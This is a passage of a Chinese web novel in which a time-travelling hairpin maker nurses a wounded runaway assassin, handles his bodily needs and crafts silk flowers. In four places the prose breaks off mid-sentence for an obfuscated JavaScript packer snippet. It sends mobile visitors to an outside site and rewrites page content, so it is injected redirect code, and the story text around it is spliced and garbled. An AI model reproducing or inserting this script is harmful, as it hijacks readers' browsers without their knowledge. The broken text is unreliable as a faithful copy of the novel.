他有个不为人知的癖好,就是喜欢看别人吃饭,而且是吃的很香的样子。 只是这个爱好实在说不出口,他作为一个杀手,行事又孤僻,很偶尔的才能在暗处看看别人吃饭,满足一下愿望。 要是竹音能听见他的心声,一定要说一句,这不就和现代人爱看吃播一样吗?主播吃的越香越多,观众就觉得越满足。 至于此时,她能吃的这么豪迈,纯粹是饿的。 风卷残云的吃完桌上剩下的饭菜,竹音拍着肚子喟叹一声,觉得自己总算活过来了。 还得是吃饱了才有干劲啊。 吃完饭后,她先给玄烬喂了药。 一大碗黑乎乎的药汁,被玄烬囫囵吞下去,竹音立刻递上清水给他压苦,还拿出一颗糖:“吃一颗就不苦了。” 玄烬想说不用,却比不得她眼疾手快,把糖塞进了他嘴里。 “好了,你可以躺着了。”竹音把棉被抽走,将他恢复躺平的姿势:“我去洗碗了。” 玄烬含着糖,看着她忙忙碌碌的背影,心里头莫名一酸。 玄烬自幼就是孤儿,从没享受过被人关爱的感觉,曾几何时,他也羡慕过那些喝完药就有糖吃的小孩,躲在阴影里愱殬的看着他们。 可随着年龄增长,训练的残酷,任务的艰辛,早就让他忘记了这一切。 他以为他已经不在乎这些了,但刚刚那颗糖,偏偏牵动了他隐秘的心绪,让他心头一紧,继而怅然若失。 真没想到,喝药后的第一颗糖,是在这时候得到的。 何其意外! 竹音对此一无所觉,她把厨房收拾好,又烧了一大锅热水,端来盆子,准备给玄烬擦身。 她把新买来的金疮药拿给玄烬看:“你那瓶快用完了,我又给你买了这个,你瞅瞅能不能用?” 玄烬让她打开瓶子,闻了闻,确认成分后,感激的说:“可以用,你费心了。” 应该是止住了血,又吃饱了饭的原因,玄烬这会儿说话都顺利了许多。 竹音感叹道,人是铁,饭是钢,这话诚不欺我。 她把热水和凉水兑在一起,调成温度适宜的温水,掀开被子,准备给玄烬擦身体。 却不想刚伸出手,就见玄烬面露难色,似乎有什么话想说,又难以启齿。 竹音问他:“你怎么了,哪里痛吗?” 她凑上去看他的伤口:“没裂开啊,哪个痛?” 玄烬没说话,脸上露出隐忍的表情。 “你到底怎么了?”竹音一头雾水,目光在他身上逡巡:“到底哪不舒服,你得说呀。” 在她的催促声中,玄烬内心天人交战,最终,生理需求带来的压迫感占了上风,他无力的闭上眼睛,用一种近乎悲壮的语气说道:“我、想如厕……” 今天一直没喝水,就是担心上厕所的问题,可刚刚偏偏喝了一碗汤,又喝了一碗药,现在怎么都憋不住了。 竹音微微一怔,继而爽朗大笑:“我当什么事儿呢,你不好意思说。等着,我去给你拿夜壶,你要拉屎吗?” 玄烬差点裂开了,非常快速的回道:“我不拉。” 就像她问的问题很烫嘴一样。 “行,那你什么时候想拉屎再和我说。”竹音从容不迫的走开了。 玄烬:“……” 他无言以对,从来都没觉得与人相处这么艰难过。 这一刹那,他想起竹音一开始劝他的话,或许……他真该找个别的人救他,如果是个男人照顾他,他就不会这么被动了。 玄烬捏紧被角,心里一阵懊恼。 没过多久,竹音提着个尿壶回来,站到他身边:“我给你脱裤子?” 玄烬浑身一僵:“我自己来!” 竹音“啧”了一声:“扭扭捏捏的,我还能怎么着你不成?” 她把被子掀开,把尿壶放在他腿间:“你对准点啊,就这一床厚被褥。” 然后十分识趣的离开了。 玄烬:“……” 玄烬一只手折腾了半天,终于解决了生理难题。 水流的声音有点响,他频频看向竹音消失的方向,生怕她忽然闯进来。 好在竹音消失的很彻底,直到他喊她,她才慢吞吞进来。 竹音:“尿好了?” 玄烬垂着头不敢看她,耳根红的彻底:“嗯。” 竹音提起尿壶,什么都没说,拿到了门外去倒掉。 过了一会儿,她提着洗过的尿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092788|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壶进来,把尿壶放到他触手可得的地方:“晚上你要尿尿,自己拿就行,不用喊我,免得你尴尬。” 玄烬:“……” 他再次觉得自己的语言表达能力是那样薄弱,居然找不到合适的话回复她。 竹音一副司空见惯的模样,当年她帮着护理家里住院的老人,可比这辛苦多了,什么屎尿屁的场面没见过,这都是小意思,如今她自觉自己挣得就是护工费,自然不会吃痒怕痛,嫌弃雇主伺候起来麻烦。 她又给盆子里掺了一点热水,拧干帕子,准备开始干活:“我先给你擦腿吧,擦干净了先给你穿上新裤子。” 玄烬偏过头,又“嗯”了一声。 竹音一本正经的干活,他的腿没受伤,擦起来很方便,竹音把他的短裤撸上去,一条腿擦三遍,保证干干净净,什么汗渍血渍都没了。 玄烬机械的绷着身体,目光呆滞的看着远处的墙角,尽力不让自己去想腿上的感觉。 竹音猛的轻拍他大腿一下:“你绷着劲干嘛呢?我不好擦。” 大腿上全是肌肉,绷紧了跟个铁柱子一样,硬邦邦的,挪都挪不动。 玄烬像个被人戳了一针的气球,忽然泄气。 “就是嘛,这样才好擦。”竹音动作流畅的擦干净他的腿,又去换水洗帕子。 等到帕子洗好,他的腿也风干了。 竹音拿着裤子问:“黑色和蓝色,你穿哪一套?” 玄烬回神,嗓音有点干涩:“黑的。” “行。”竹音把黑色裤子给他套上,穿好后,面露惊喜:“不长也不短,正正好!” 玄烬咽了咽口水,不敢说话。 他怕自己一接话,竹音又说出什么虎狼之词。 好在竹音也不在乎他的沉默,用被子盖上腿后,开始给他擦上半身。 玄烬恨不得闭上眼睛,可惜闭上眼后,感官反而会扩大,他不得已又睁开眼,目光飘忽,根本不敢看她。 竹音看着他一副难捱的样子,有点好笑,想打趣几句,又想到这是古人,把嘴边的话咽了下去。 前身和胳膊擦完,她问玄烬:“能翻身吗?后背要不要擦。” 当然是要擦的,后背上也沾了不少血和汗,不擦干净怎么穿衣服呢。 玄烬默不作声的就想自己翻身。 竹音赶忙拦住他:“我帮你翻,你别自己用力。” 她把手伸到玄烬身下,帮助他翻身侧躺:“我赶紧擦,你疼了告诉我……” 话还没说完,看着玄烬后背上那些纵横交错,却早已愈合的道道狰狞伤痕,竹音的后半句卡在了嗓子里。 空气沉寂了三秒。 玄烬疑惑她没动作:“怎么了?” “没事!”竹音迅速回道,若无其事的继续给他擦后背。 她在心里默默的说:果然是个身世复杂的人。 玄烬是在她擦第二遍的时候想起来这件事的。 除了同为杀手的组织同伴以外,他从未让别人看过他的身体,以至于忘记了自己后背上的伤疤。 那些训练时、受罚时留下的伤疤,每个杀手都有,大家自然不会觉得奇怪。 但她不同。 她是个普通姑娘。 玄烬呼吸一窒,整个身体又僵硬了起来! 5. 第5章 上大号吗? 竹音感受到他莫名其妙的僵硬,有些不耐烦的轻轻拍了他一下:“又来?” 这幅身体不够强壮,她今天又忙了一天,已经很累了。 人在累的时候,耐心就不会太好,只想早点完成任务去休息。 竹音拍的力量聊胜于无,主要起个提醒作用,毕竟玄烬还是她雇主,但玄烬不这么想,他只觉得羞耻。 背上的伤让他羞耻。 就像阴沟里的老鼠被人从井里翻出来一样,不敢见天光。 他闭了闭眼,尽力让自己放松,好早点脱离现在的酷刑。 竹音皱了皱眉,手放轻了一点:“不是压到伤口了吧?” 她三下五除二的迅速擦好背,将他翻了过来:“我看看,有伤口裂开吗?” 玄烬闭着眼睛,睫毛颤抖,瓮声瓮气的说:“没有。” 但竹音还是仔仔细细检查了一遍。 有一道伤口溢出了血迹,她叹气:“你疼你得说啊,别全憋在心里,你花钱找我照顾你,不就是为了伤势好的快点吗?干嘛要硬忍着。” 她以为他刚才的僵硬是因为伤口疼。 全身都擦干净了,竹音立刻开始给他换药。 等换好了伤药,给他套上里衣,又盖上被子,这一套流程才算彻底忙完了。 她用袖子擦了把汗,见玄烬还闭着眼,一言不发,只把被子盖到下巴处,将自己遮挡的严严实实,像个木偶人。 她忽然想到了什么,淡然一笑,似乎已经隔着厚厚的被子看透了他的紧张:“我知道你身份不同,我不问你,你也别告诉我,我照顾你的这段时间,无论看到了什么,听到了什么,等你走后,我会全忘了,你大可放心。” 玄烬缓缓睁开眼,目光复杂的看着她,半晌后回了一句:“多谢。” “别客气,我去洗澡了,你有事叫我。”竹音端着盆子利落的离开。 厨房里的柴不多了,勉强烧热了半锅水,竹音用这些水洗了个战斗澡,然后去井边洗衣服。 她的衣服没什么事,可以挂在院子里,但玄烬的不行,必须挂在屋里,不然被人看见了,可就解释不清了。 晾好玄烬的衣服,竹音看着衣服胸口的几个破洞,合理怀疑他被人攮了好几剑,还砍了好几刀。 虽然她是个簪娘,但隔行如隔山,针线活属实拿不出手,家里有个缝纫机,她也就会走个直线,给玄烬补衣服这事,她是做不到了。 毕竟这衣服要是粗糙的补一补,也不必穿了,一准相当难看,完全浪费了好料子,还是洗干净叠好叫他拿走吧,以后愿意找谁补就找谁补。 忙完了所有的事,竹音伸了个懒腰,一股疲惫涌上心头,她揉了揉眼睛,又去看了眼玄烬,问他要不要上厕所,得到否定的回答后,便熄灭了蜡烛,对他说:“那就睡吧,明天早上起来我给你熬药。” 玄烬低低应了一声,空气又陷入了沉寂。 竹音将他初步判定为沉默寡言的内向i人,摇摇头,回了里屋睡觉。 她放了把菜刀在枕头底下,用来防身,又在门口窗户处都放了器物,保证有人推门或推窗,都能发出声音作为提醒,这才躺到床上。 就剩一床被子了,她半边垫着,半边盖着,勉强能睡下,好在这个时节也不冷了,气温有个二十多度,不用担心着凉。 这一晚过的很安静。 玄烬半夜用了一次尿壶,也没发出什么声响。 身上失血过多,哪怕他强力保持警惕,在这温度适宜的深春夜晚,也不免昏昏沉沉的睡了过去,不知天地为何物。 第二天一大早,竹音先去后山捡了一捆柴,这才回来做饭。 柴米油盐酱醋茶,柴排在第一位,要想吃点东西,喝点热水,没有它可不行。 好在这个大横国正处于太平年间,人口也不冗余,连绵不断的后山也不是哪家地主老财的所有物,住在村里,柴获取起来还是相对方便的。 把药熬上后,她直接开始做早午饭,大灶做饭比较麻烦,她又只有一个人,实在没必要把一天的饭分为三顿。 洗米下锅,切了两根腊肠,铺在米饭上面,今天的肉就有了。 再煎个鸡蛋,炒个白菜,这一顿吃完,保准一上午都不饿。 玄烬不知道自己睡了多久,他一直在做梦,梦里的自己不停的奔跑,想要甩开后面追杀的人。 那都是他的同行,他们来自于同一个杀手组织,每每有人叛逃,就要对昔日的队友挥刀相向。 在玄烬之前,每个叛逃的杀手,都被疯狂追杀,从来没听说过他们成功的消息。 玄烬本来也是怕的,他怕自己跑不掉。 可他真的受不了了。 他不想永远都只做别人手里的刀,做一个杀戮机器,他早就无以伦比的厌恶着所有血腥的场景。 逃跑之前,他想,宁可死,也要逃! 身后的人追了上来,他回身反击,一把大刀砍上他的胸口,似乎要将他砍成两半! 噩梦中的情形比现实更凶险,他脚底一软,居然没躲过去,眼看着那刀穿过他的身体…… “醒醒,醒醒!”竹音拍着他的肩膀。 玄烬满头大汗的从梦境中挣扎着醒来,好不容易睁开眼,便看见竹音蹲在他面前,手里拿着个帕子,温和的说:“起来吃饭了,我给你打了热水,先洗洗吧。你是不是做噩梦了?我叫你半天才醒。” 玄烬咽了咽唾沫,感觉嗓子干涩发痛,像刀片割过一样难受,身上也一阵一阵的无力,刚才那个梦,真实的恐怖,实实在在的把他吓到了。 在竹音叫醒他之前,他在梦里感受到了极致的恐惧和痛苦! 一个人终于鼓起勇气想要改变自己的人生,却在最后关头发现逃不出去,那是一种无法形容的,铺天盖地的绝望,足以击溃任何人的心房。 竹音把叠好的被子塞到他身后,将他扶起来,侧头看他的脸:“你还好吗?” 玄烬还没缓过神来,目光放空的看着屋顶,又是一言不发的样子,她担忧的摸上他的额头,想探探温度,结果摸到一手冷汗:“发烧了吗?怎么这么多汗?” 玄烬深深喘息了几口气,努力压下那种心有余悸的感觉,心情平复后,力气也悄然恢复,他扯出一个惨淡的笑容:“我没事,的确做了个噩梦,多谢关心。” 竹音摸着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092789|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他冰凉粘腻的额头,感觉应该是没发烧,于是略微放下心,说:“没事就好,赶紧起来吃饭吧,来,先擦把脸。” 她对玄烬会做噩梦这事并不感到惊奇,谁这样死里逃生一回,没点应激反应啊,做噩梦都是小事了。 她先让玄烬洗了脸,漱了口,又让他上了次厕所,倒掉了夜壶,这才把早午饭端上桌。 碗里飘来米饭腊肠诱人的香气,玄烬的肚子顿时咕噜噜作响,如此不雅的声音,让他面色微囧,透露出几分不自在来。 “快吃吧。”竹音把菜拨到碗里,拿起勺子,很自然的来喂他。 已经经历过一次喂饭了,玄烬也不好继续矫情,默不作声的大口吃着饭。 一碗饭吃完,竹音照例问他吃饱了没有,得到肯定的回复后,才自己去吃饭。 等到她也吃完了,药也晾好了,喂完药,她又问了玄烬那个灵魂问题:“你要上大号吗?” 她觉得自己昨天说“拉屎”两个字,可能让玄烬害羞了,于是今天委婉了一些。 这可真是个容易害羞的小伙子啊。 虽然竹音现在看起来是个十五岁的姑娘,但她内核毕竟是个二十八岁的成熟女人,看年纪轻轻的玄烬,就像在看一个晚辈,加上她本人又是个实用主义,很多话都说的比较直白。 玄烬:“……” 他看了一眼竹音,又垂下头,似乎在深思熟虑。 竹音也没催他,安静的蹲在一旁等待回复。 过了一会儿,玄烬说:“我觉得我能坐起来了。” “真的吗?”竹音挑眉。 玄烬坚定的点点头,面上有一种视死如归的决然:“我可以!” 让他躺着拉屎,还不如直接死掉。 竹音一针见血:“不要为了面子耽误伤情哦!” 她的声音轻飘飘的,明明是劝慰的话,听在玄烬耳朵里,却让他觉得浑身长刺了一样难受,更加坚定了他的想法。 绝对不能再躺下去了! 他一定要坐起来! 他真的很怕这个胆大包天的姑娘,又会说出或者做出什么出人意料的事情,让他骑虎难下。 在玄烬的坚持下,竹音找了个废旧木桶出来,在里面铺了杂草,扶着玄烬起来,让他坐在上面如厕。 玄烬被她艰难的扶起身,用胳膊撑着面前的桌子,勉强站稳,便让竹音出去,自己一个人努力解决如厕问题。 竹音又没有伺候人上厕所的癖好,之前是情势所迫,只能由她帮忙解决,横竖都要去做,不如淡定的做。 现在见玄烬确实能站起来了,她也松了口气,如释重负的出去了。 再好看的人,也不会有兴趣看他拉粑粑啊。 等到玄烬解决完人生大事,喊她进去时,木桶内已经重新覆盖了一层杂草,只要把杂草连着粑粑一起倒掉就好了,下次还能接着用这个桶。 玄烬穿戴整齐的坐在一旁的椅子上,耳根发烫,面色涨红的看着她把桶提走,脚趾在鞋子里使劲扣地,恨不得扣出一座皇宫! 太丢人了! 真是太丢人了! 这辈子都没做过这么尴尬的事情! 6. 第6章 做缠花 竹音淡定的倒了桶,又淡定的回来。 看见玄烬还坐在椅子上,便扶着他重新躺下来。 她一边干活,一边不由得神游天外,回忆以前在小说里看见的那种男主掉崖,女主救助的场景,当只有女主一个人救人的时候,是否也像她这样凡事都是亲力亲为,管男主的屎尿屁事件呢? 可没见一本书里面写过啊,难道男主都是光吃不拉的貔貅吗? 一想到?滴滴的女主要为男主端屎端尿…… 竹音忽然笑出声,感觉什么旖旎滤镜都能在现实中破碎。 果然,小说就是小说呀。 玄烬刚躺下,听到这一声笑,顿时浑身一僵,惊疑不定的看着她:“怎么了?” “没什么,没什么。”竹音连忙收起笑,掩饰了一下上翘的嘴角:“想到点往事,以前我就是这么照顾亲戚家的弟弟的。” 玄烬:“……” 所以,她把他当弟弟了吗? 不对,他明明比她年长呀! 玄烬想说点什么,最后却一句话都没说。 算了,已经够麻烦人家了,还是不要在意这些细枝末节的好。 竹音把今天的药给玄烬换了,说道:“我待会儿还要进一趟镇子,买些东西,你还有要买的吗?” 玄烬想了想,摇摇头。 竹音便把被子给他盖好,准备出门:“那你在家里好好躺着,等我回来给你带饭。” 捡柴做饭太累了,有时候也要适度放过自己,竹音准备上街买些做缠花的工具回来,顺便买两份古代外卖。 这回她学精了,用布条把背篓的受力点厚厚的缠了好几圈,这才背着出门。 依旧关门锁院,她匆匆走远。 直到彻底听不见竹音的脚步声,玄烬才蓦然松了口气,目光发直的看向屋顶。 她刚才说什么? 家吗? 从来没人对他说过这个字。 他没有家。 这里也不是他的家。 他只是个……狼狈过客。 思绪飘远。 玄烬开始思索自己以后的生活,虽然只有一个人,但逃离组织后,他也是有可能拥有一个小家的。 但家应该是什么样子的呢? 玄烬不禁打量了一下这间破屋。 他应该有一座房子,有一些木头家具,一张床,一台灶,一个不大不小的院子,院子里可能还有一口水井…… 这就是家的样子吧。 他看过许多别人的家,却从来没有拥有过自己的家。 他住的最多的地方,是组织提供的寝所,一人一间屋,巴掌大的地方,只放一张床,一个柜子,一套桌椅。 当然,他的东西也很少,这间小屋完全放得下,随时游走在死亡边缘的人,是不需要那么多家当的。 牵挂越少,死的时候,才不会那么痛苦。 他们最好不要有感情,不要有牵扯,不要有自己的思想,只专注的做一把刀。 哪怕他们学习读书写字,学习阴谋诡计,学习武功绝学,也是为了更好的杀人,而不是为了成为自己。 好在…… 好在。 这一切都结束了。 他会好起来的,他会过上自己想要的生活。 他要活着,这一回,是为了自己而活。 玄烬攥起拳头,为自己打气。 那么难都熬过来了,以后必然会……苦尽甘来。 …… 竹音在镇上买了几卷颜色清雅的染色蚕丝,又买了厚桑皮纸,剪刀,铜丝等物,算是凑齐了做缠花的基础工具,可以开始重头搞事业了。 背篓里还有些空地,她买了许多吃食放进去,有耐存放的烙饼,点心等物,也有些蔬菜粮食,以及一块酱肉。 这家酱肉铺子香飘十里,竹音从店门口路过两次,到底没忍住进去买了一块。 竹音也会做饭,还做的不错,要不是她不喜后厨油烟大,重活累活多,这会儿恨不得改行做个厨子,天天给自己做好吃的。 纯馋人士是这样的。 竹音心里暗道,等她东山再起了,必然要把这里的美食全吃一遍! 现在嘛,还是赶紧回家喂伤患吧。 这次买的东西少,竹音回来的很快。 晚饭吃的是她从镇上买回来的包子和酱肉,一人四个大包子,半块酱肉,简单却满足。 吃完饭后,玄烬道过谢,依旧安安静静的躺着,继续他那沉默寡言的画风。 竹音也乐得自在,她点了一盏灯,开始用炭笔画图,画好一朵牡丹后,她放下炭笔,拿起剪刀,把花瓣一片片从纸上剪下来,表情专注而认真。 花瓣很多,剪完一片还有一片,一时之间,屋子里只有剪刀裁剪纸张时的“沙沙”声音。 玄烬从这白噪音一般的声音中感受到了一种奇异的宁静。 好像世界就该是这么安静而孤独的。 孤独的让人心安。 最后一片花瓣掉落桌面,竹音“啪”的一下放下剪刀,揉了揉酸痛的手腕:“可累死我了。” 在现代做缠花时,除了初次打版以外,几乎不怎么自己画图纸、剪图纸。 尤其是爆款大货,都是直接电脑打版,机器切割纸模,拿出来就能用,可以大大节省人工时间。 现在嘛,一切都回到最原始的时候,需要从头开始做。 竹音歇了一会儿,等手腕的酸痛散去,便开始排线,每根蚕丝都由多缕丝线组成,必须让蚕丝排列整齐,变得均匀,再放上一小段铜丝和剪好的纸膜,才能开始缠花。 她在灯光下安安静静的忙碌着,手指不停转动,一片花瓣便慢慢被缠了出来。 玄烬躺在地上,侧头看向她的身影。 为了能及时听见雇主的需求,竹音坐的地方离他并不远,此时玄烬正好能看见她工作的样子。 她低着头,灯火昏黄,给她的黑发环绕上一层金边,显得侧脸愈发柔和,像个画里的姑娘。 一片花瓣缠好,她打好固定结,放到一边,立刻开始缠下一片。 灯光幽幽,天色渐晚。 等到她终于把所有花瓣缠完,已经快到了睡觉的时间。 竹音站起来伸了个懒腰,在心里嘟囔道:纯手工就是慢啊,想念我的小电钻,缠起来嗖嗖的。 可惜在这里,小电钻是不用想了,能搞点辅助工具都算运气好。 她站起来活动了一下胳膊和颈椎,准备烧水洗漱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092790|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 组装花瓣还是留到明天吧,有日光了更好做。 竹音先去问了玄烬:“你要上厕所吗?” 睡前上个厕所,这是大部分人都会做的事。 玄烬今天喝水少,排水也就相对更少,他摇摇头,忽而问她:“你刚才在做什么?” 竹音:“我吗?” 她走回桌边,拿过来一片大花瓣给他看:“我在做缠花,明天组装起来,就是一朵大牡丹。” “缠花?”玄烬微愣:“头上戴的那种吗?” “是啊,头上戴的缠花。”竹音说。 玄烬有些讶异:“没想到你还会做这个,我听说缠花卖的很贵。” 竹音摊手:“没想到我有这门手艺,还住在这儿是吧?唉,我跟你一样,也很倒霉,本来衣食无忧,逍遥自在,现在却要忍辱负重,重头再来,咱俩也算同命相怜了。” “同命……相怜?”玄烬眸光闪动,对这个陌生的词语感到怅惘。 真的有人跟他同命相怜吗? 不,他们肯定是不一样的。 “是呀,可能你比我还惨点吧,我只是没钱,你还受伤了。”竹音感叹一句,见玄烬又不说话,便见怪不怪一般,直接去厨房烧水。 等她端着水盆出来,两个人分别洗漱完毕,便可以睡觉了。 竹音依旧谨慎的检查了院子,放好菜刀和门窗的阻挡物,这才去睡觉。 她累了一天,身体又不强健,头沾上枕头,没一会儿就睡着了。 反观玄烬,也许是躺了一整天的缘故,他一点也不困,只沉默的注视着屋顶,借着幽暗的夜光,看着蜘蛛爬网。 作为一个杀手,他专门训练过夜视力,所以即便是如此黑暗的环境下,他也能找到东西观察消遣。 蜘蛛勤奋的吐出一根又一根的蛛丝,转着圈盘旋,缓缓织出一张大网。 他在这重复的动作里,放空了思绪,彻底清空大脑,让自己不去思考。 只有在不思考的时候,人才没有烦恼。 他很想纯粹的,平心静气的,享受这宁静的良夜,哪怕身上的伤口依旧抽痛,也阻挡不了他贪恋安宁的心神。 只有一遍又一遍的告诉自己,他已经逃出来了,才不会继续做昨晚的噩梦吧? 他要记住此刻的真实,以告慰惊恐虚弱的灵魂。 他逃出来了。 闭上眼睛前,玄烬郑重的对自己讲。 …… 也许是昨晚的自我催眠和心理暗示起了作用。 玄烬一夜无梦,终于睡了个好觉。 这一觉醒来,他只觉得神智清明,身上的伤痛似乎都少了几分。 竹音照例给他洗了脸,又喂他吃了饭,喝了药,最后把他扶起来,进行每日最艰难的上厕所活动。 一回生二回熟,这回不管心中多么窘迫,玄烬的面上还是努力维持住了稳定的神色,让气氛都轻松了一些。 人生大事解决完毕,他又躺到了床上养病,竹音则收了晾干的衣服,坐到窗边缠花。 玄烬也没事做,索性歪着头,盯着她的动作看。 随着一片片花瓣的组装,一朵?艳欲滴的粉色大牡丹便栩栩如生的在竹音手里绽放开来,看的玄烬惊奇的睁大了眼睛。 7. 第7章 换犊鼻裈 “好看吗?”竹音转过身,相当自然的举着花来问他,就像他是个经年旧友。 玄烬从没被人这样对待过,迟了三秒才点头:“好看,像真的一样。” 竹音满意的露出笑容:“那就行了,我多做些,待到清明节,就能拿出去卖了。” 清明节前后,人们除了祭祖,还会举办踏青、蹴鞠、放风筝等活动,相应的,出来游玩的人多了,大集就会热热闹闹的开起来,是个摆摊的好日子。 因为有事做,时间便过的飞快,竹音在屋里缠了两天花,做了各式各样的花朵,牡丹、菊花、荷花、玉兰、桃花,应有尽有,摆了满满一桌。 除了吃饭、换药、上厕所,两人并没有太多交集。 像竹音保证的那样,她从没打探过玄烬的身份,也不对他的故事好奇,只做自己分内的事。 三天时间一晃而过,玄烬已经能够自己勉强坐起来,但距离他站起身独立走出院子,去往其他地方,还是相当有困难的。 竹音蹲在地上,和他大眼瞪小眼。 她问玄烬:“怎么办?” 玄烬咬了咬牙,撑着床铺想要站起来:“我可以走的,慢慢走。” 随着他的动作,胸口好不容易结痂的部位猛的渗出血来。 竹音叹了口气,用手按住他的肩膀:“行了,别折腾了,就你这情况,从这里走出去,待会儿不是晕在我的院子里,就是晕在院子外。” 这么大个男人晕在外面,她还得搬进来,到时候更麻烦。 “你再躺一天吧。”竹音站起身,抱着胳膊淡淡的说。 玄烬面色苍白,他知道自己确实没恢复好,但同时也因为自己的失言,感到莫大的愧疚和羞耻。 他主动提议道:“不然你帮我找一辆车……” 竹音打断他:“还嫌目标不够明显呢。” 她轻嗤一声,不知道是在嘲讽玄烬,还是嘲讽自己:“唉,我早该想到的,你这么重的伤,怎么可能三天就能走动。” 玄烬更加坐不住了,他挣扎着想要坐起来:“我、我不能再打扰你了。” 竹音“啧”了一声:“你想好怎么走了?知道要去哪躲着了?” 玄烬僵住,维持着半仰身的姿态,沉默的应对着她的质问。 “行了,别矫情了。”竹音在屋里的椅子上坐下,从容不迫的翘起二郎腿,端起杯子,喝了一口凉白开:“我不知道你在躲谁,但这几天都没事儿,应该是没追过来,你就再躺几天吧。只是,三天时间已过,钱要另算。你还有钱吗?” 竹音开门见山的跟他谈钱,声音平静无波,一副只谈生意不谈感情的模样。 好不容易碰上一个狗大户,既然暂时走不了,自然要多薅点羊毛。 她可从来不做亏本买卖。 听到竹音谈钱,玄烬感觉心头巨石落地,他缓缓放松了支撑的胳膊,躺了回去,郑重的说:“我有钱,但没放在身上,等我能走动了,可以回去取,你要多少都行。” 他离开组织前,自然做了许多准备,其中一项就是存钱,他在秘密基地里存了很多金银财宝,都是他专门偷来的,有组织的,有贪官的,来路五花八门,足够他潇洒一辈子。 “在哪呀?”竹音问:“我怎么知道你是不是在骗我?” 玄烬苦笑:“待我能坐马车了,你、你可以跟我一起去取。” “算了,你打欠条吧。”竹音表示没兴趣跟他一起出远门:“我可不想被你卖了。” 玄烬哑然,他想了一会儿,忽而伸手,把头上束发的簪子取下来,递给竹音:“这个也很值钱,先给你。” 簪子为白玉质地,确实价值不菲,只是拿掉簪子后,他的头发便不受控制的垂落了下来,衬得整个人愈发苍白虚弱,憔悴可怜。 这张脸,放现代一准能当网红。 女娲捏自己的时候怎么不这么捏呢? 竹音在心里吐槽了一句,伸出手,毫不留情的接过簪子:“行吧,这个抵几天。” 玄烬顿时如释重负,感激的喘了口气:“多谢。” 竹音把玩着手里的簪子,又看了眼他胸前的伤口,忽然问道:“真奇怪,你知道藏钱,怎么就不知道搞点毒药,药死那群追杀你的人呢?” “毒药?”玄烬愣住,继而一本正经的回道:“我不会制毒。” “买点啊,也没地方买吗?砒霜之类的。”竹音好整以暇的看着他。 据她所知,药铺就能买到砒霜,只是剂量比较小,一般都是作为药引使用。 玄烬摇摇头:“砒霜是要吃进去的,不能明面下毒,在近战时用不上。” 竹音“嘶”了一声:“举一反三都不会,怪不得这么狼狈,你砒霜兑水泼他们,他们也得害怕呀。” 玄烬:? 他微微睁大眼,不可思议的看着竹音。 果然,这姑娘总是能说出来一些让人意想不到的虎狼之词。 砒霜兑水泼人,这馊主意她怎么想到的? “其实吧。”竹音看着他震惊的表情,忍不住又想教他几句,这孩子看起来太单纯了,怪不得会沦落到这个境地,她说:“你用大粪泼人,也能起到同样的效果。 哦不,可能效果更好,这个免费,易获取,主打一个伤害性不大,但侮辱性极强,绝对能拖住对方的脚步,让他们对你望而生畏。” 玄烬:??? 他惊疑不定的看着竹音,心里翻江倒海。 “好好想想吧,我说的一点没错。”竹音同情又怜悯的拍了拍他的肩膀:“人啊,要学会变通,猥琐发育。” 说完还不忘pua他两句:“你啊,也就是遇上了我,我这种人,贪财但办事,但凡遇见别人,你把钱全给人家,人家拿了你的钱就走了,谁管你的死活啊。 你这孩子,真是太单纯了,以后行走江湖,还是得留点心眼儿呀。” 这话说的老气横秋,要不是玄烬确定眼前的姑娘顶多十五六岁,都要怀疑她是自己的长辈了。 竹音说完话,也不管玄烬的表情,自顾自找了根木簪,给他重新束好头发,然后说:“既然你还要住几天,那……” 她看向玄烬的下半身:“犊鼻裈换不换?” 玄烬: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092791|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……” 竹音的声音还响在他耳边,带着真诚的建议和确实的嫌弃:“你再不换洗,我都担心你要沤烂了,你自己不难受吗?” 玄烬:“……” 他用一只手捂住脸,艰难的从嗓子眼里发出低沉的声音,对此妥协道:“我换。” …… “砰”的一声! 